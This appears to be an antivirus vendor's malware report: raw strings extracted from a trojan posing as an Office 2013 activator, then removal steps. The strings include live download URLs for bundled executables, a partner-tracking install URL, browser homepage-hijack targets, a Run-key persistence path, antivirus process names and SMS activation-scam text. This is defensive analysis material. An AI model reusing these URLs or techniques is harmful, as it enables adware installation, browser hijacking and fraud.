ENoMonitorSupportException
.uvCOu
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
EVariantBadIndexError
Uh.mA
ssShift
htKeyword
EInvalidOperation
EInvalidGraphicOperation
UhG%C
Uh.cC
PasswordChar|
OnKeyDown
OnKeyPress
OnKeyUp
ItemsP%D
TCustomButton.TButtonStyle
Proportional
AutoHotkeysX
AutoHotkeys
TKeyEvent
TKeyPressEvent
HelpKeyword
ssHotTrack
TWindowState
poProportional
TWMKey
KeyPreview
WindowState
Uh.BH
THttpData
THttp
HTTP/1.1
BuildImportTable: can't load library:
BuildImportTable: ReallocMemory failed
BuildImportTable: GetProcAddress failed
BTMemoryLoadLibary: BuildImportTable failed
BTMemoryGetProcAddress: no export table found
BTMemoryGetProcAddress: DLL doesn't export anything
BTMemoryGetProcAddress: exported symbol not found
Password
TMonochromeLookup
TOperators
THttpThread
ad.php
?new.php
... URL:
m.php
e.php
6ser.php
c.php
http://internetToolbar.cdnmail.ru/Internet.exe
http://exe.agent.mail.ru/sputnik/Toolbarsputnik.exe
http://Toolbarstat.ru/get_referer?patner=zippro
Mozilla/3.0 (compatible; Indy Library)
ro.ru
1.2.3
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
oleaut32.dll
advapi32.dll
RegOpenKeyExW
RegCloseKey
user32.dll
GetKeyboardType
kernel32.dll
UnhookWindowsHookEx
SetWindowsHookExW
MsgWaitForMultipleObjectsEx
MsgWaitForMultipleObjects
MapVirtualKeyW
LoadKeyboardLayoutW
GetKeyboardState
GetKeyboardLayoutNameW
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyState
GetKeyNameTextW
EnumWindows
EnumThreadWindows
EnumChildWindows
ActivateKeyboardLayout
msimg32.dll
gdi32.dll
SetViewportOrgEx
version.dll
GetProcessHeap
GetCPInfo
RegQueryInfoKeyW
RegFlushKey
RegEnumKeyExW
RegDeleteKeyW
RegCreateKeyExW
ole32.dll
comctl32.dll
shell32.dll
ShellExecuteExW
ShellExecuteW
FindExecutableW
comdlg32.dll
wsock32.dll
dnsapi.dll
winmm.dll
4 4$4(4,4044484<4
3 3$3(3,3034383<3@3`3
:";);@;{;
5!6%6)6-646
> >$>(>,>
5"5&5*5.5
5 56G6K6O6S6W6[6
= =$=(=,=0=4=8=
3 3$3(3,3034383<3@3
;#<'< 
7‰8F8U8^8j8~8
1%2S2y2
<0<4<8<|<
= =$=(=,=0=4=
333333333333333333
33333833
3333339
3333333333333338
:*"*"$3338
3333333
33333333
33333333333
3333333333338
33338?383
333333333333
:*3:"$3338
333333333333333
ft%S`
>?*(8443&
#'88((*22
`.rdata
@.data
.rsrc
t.hPL
__MSVCRT_HEAP_SELECT
KERNEL32.DLL
OLEAUT32.dll
USER32.dll
7za.dll
000000000
:#<)<9
1(14104<4
< <(<,<0<4<
.AHa%
s.XCL
q%XCL
Created with ajaxload.info
KWindows
UrlMon
URLCrypt
MyHTTP
RC5DefKey
2WebAddr
StringDecodeKey
%8xk#
%U~$we9
Font.Charset
Font.Color
Font.Height
Font.Name
Font.Style
Picture.Data
Adobe Photoshop CS6 (Windows)
2012:11:20 00:45:34
urlTEXT
MsgeTEXT
Zhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>            3DCDE8EDFF0C143AE00017443142237C      
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
CRT curv
A]%xGj
Mo
version="12.0.3210.17555"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
%s_%d
USER32.DLL
SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes
uxtheme.dll
DWMAPI.DLL
clWebSnow
clWebFloralWhite
clWebLavenderBlush
clWebOldLace
clWebIvory
clWebCornSilk
clWebBeige
clWebAntiqueWhite
clWebWheat
clWebAliceBlue
clWebGhostWhite
clWebLavender
clWebSeashell
clWebLightYellow
clWebPapayaWhip
clWebNavajoWhite
clWebMoccasin
clWebBurlywood
clWebAzure
clWebMintcream
clWebHoneydew
clWebLinen
clWebLemonChiffon
clWebBlanchedAlmond
clWebBisque
clWebPeachPuff
clWebTan
clWebYellow
clWebDarkOrange
clWebRed
clWebDarkRed
clWebMaroon
clWebIndianRed
clWebSalmon
clWebCoral
clWebGold
clWebTomato
clWebCrimson
clWebBrown
clWebChocolate
clWebSandyBrown
clWebLightSalmon
clWebLightCoral
clWebOrange
clWebOrangeRed
clWebFirebrick
clWebSaddleBrown
clWebSienna
clWebPeru
clWebDarkSalmon
clWebRosyBrown
clWebPaleGoldenrod
clWebLightGoldenrodYellow
clWebOlive
clWebForestGreen
clWebGreenYellow
clWebChartreuse
clWebLightGreen
clWebAquamarine
clWebSeaGreen
clWebGoldenRod
clWebKhaki
clWebOliveDrab
clWebGreen
clWebYellowGreen
clWebLawnGreen
clWebPaleGreen
clWebMediumAquamarine
clWebMediumSeaGreen
clWebDarkGoldenRod
clWebDarkKhaki
clWebDarkOliveGreen
clWebDarkgreen
clWebLimeGreen
clWebLime
clWebSpringGreen
clWebMediumSpringGreen
clWebDarkSeaGreen
clWebLightSeaGreen
clWebPaleTurquoise
clWebLightCyan
clWebLightBlue
clWebLightSkyBlue
clWebCornFlowerBlue
clWebDarkBlue
clWebIndigo
clWebMediumTurquoise
clWebTurquoise
clWebCyan
clWebPowderBlue
clWebSkyBlue
clWebRoyalBlue
clWebMediumBlue
clWebMidnightBlue
clWebDarkTurquoise
clWebCadetBlue
clWebDarkCyan
clWebTeal
clWebDeepskyBlue
clWebDodgerBlue
clWebBlue
clWebNavy
clWebDarkViolet
clWebDarkOrchid
clWebMagenta
clWebDarkMagenta
clWebMediumVioletRed
clWebPaleVioletRed
clWebBlueViolet
clWebMediumOrchid
clWebMediumPurple
clWebPurple
clWebDeepPink
clWebLightPink
clWebViolet
clWebOrchid
clWebPlum
clWebThistle
clWebHotPink
clWebPink
clWebLightSteelBlue
clWebMediumSlateBlue
clWebLightSlateGray
clWebWhite
clWebLightgrey
clWebGray
clWebSteelBlue
clWebSlateBlue
clWebSlateGray
clWebWhiteSmoke
clWebSilver
clWebDimGray
clWebMistyRose
clWebDarkSlateBlue
clWebDarkSlategray
clWebGainsboro
clWebDarkGray
clWebBlack
MAPI32.DLL
\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
crSQLWait
%s (%s)
imm32.dll
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
%s, ClassID: %s
%s, ProgID: "%s"
olepro32.dll
%domain%
Unsupported Method
User canceled operation
__TMyArchiveExtractCallback.GetStream( %d, %.8x, %d )
TMyArchiveExtractCallback.PrepareOperation( %d )
TMyArchiveExtractCallback.SetOperationResult( %d )
TMyArchiveExtractCallback.SetTotal( %d )
TMyArchiveExtractCallback.SetCompleted( %d )
TMyStreamReader.Destroy
-> Write( %.8x, %d )
-> Error writing file %d. Error code is %d.
TMyStreamWriter.Seek( %d, %d, %.8x )
TMyStreamWriter.SetSize( %d )
TMyStreamWriter.Destroy
Could not load CreateObject function from 7za.dll
Perhaps 7za.dll not found
PSAPI.dll
WbemScripting.SWbemLocator
SELECT * FROM Win32_OperatingSystem
THttpThread.Execute
http://
%2.2d.%2.2d.%d %2.2d:%2.2d
password
home_url
common_url
http://support-contact.ws
http://chart.googleapis.com/chart?chs=100x100&cht=qr&chl=SMSTO:
TCaptchaUpdateThread.Execute
guardToolbar.exe
Software\Mail.ru\Guard
Software\Microsoft\Windows\CurrentVersion\Run
Guard.Mail.ru.gui
@Mail.Ru
toolbar.exe
... trying to execute "
.html
iexplore.exe
firefox.exe
/silent /partner_new_url=
http://Toolbarstat.ru/v_install?guid=$__GUID&sig=$__SIG&ovr=$__OVR&
Internet.exe
\Google\Chrome\User Data\Default\preferences
\Opera\Opera\operaprefs.ini
Home URL
"browser.startup.homepage"
"browser.startup.page"
\Mozilla\Firefox\Profiles
\*.default
\prefs.js
Portable Network Graphics
bds.exe
avp.exe
mssesec.exe
1049=1000
1058=1000
1059=1000
Webalta Toolbar=
Mail.Ru
Install Webalta Toolbar Install Mail.Ru Internet browser
Receive the activation key
Enter activation key.
Date modified$Enter activation key from reply SMS.
pThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.7The png image could not be loaded from the resource ID.oSome operation could not be performed because the system is out of resources. Close some windows and try again.OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.
OptimizingjThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.
Description: BThe "Portable Network Graphics" image contains an invalid palette.
The file being readed is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corruped, try obtaining it again.nThis "Portable Network Graphics" image is not supported or it might be invalid.
This "Portable Network Graphics" image is not supported because either it's width or height exceeds the maximum size, which is 65535 pixels length.
There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.'Object type not supported for operation
Unsupported PixelFormat
Invalid stream operation
Invalid extension introducerúiled to allocate memory for GIF DIB
Invalid Image trailerAInternal error: Extension Instance does not match Extension Label,Unsupported Application Extension block size
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s&Cannot change the size of a JPEG image
JPEG error #%d
Value must be between %d and %d
Unable to insert a line Clipboard does not support Icons/Menu '%s' is already being used by another form
- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'
%s property out of range
No help found for %s
Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic
Unsupported clipboard format
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Thread creation error: %s
Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread$No help viewer that supports filters#''%s'' is not a valid integer value#No context-sensitive help installed
Cannot open file "%s". %s
Invalid file name - %s
Invalid stream format$''%s'' is not a valid component name
Invalid data type for '%s' List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d) Out of memory while expanding memory stream
Error reading %s%s%s: %s
Failed to get data for '%s'
Failed to set data for '%s'"Character index out of bounds (%d)
Start index out of bounds (%d)
Invalid count (%d)
Invalid destination index (%d)
Ancestor for '%s' not found
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Object lock not owned(Monitor support function not initialized
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
External exception %x
Interface not supported
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Operation aborted(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
I/O error %d
Integer overflow Invalid floating point operation

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   %original file name%.exe:2044
   do.exe:1560
   taskkill.exe:1492

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\do.exe (20 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\msoffice_2013_activation.exe (81161 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\vygnaadl.bat (3 bytes)

4. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
   127.0.0.1 localhost
   
5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.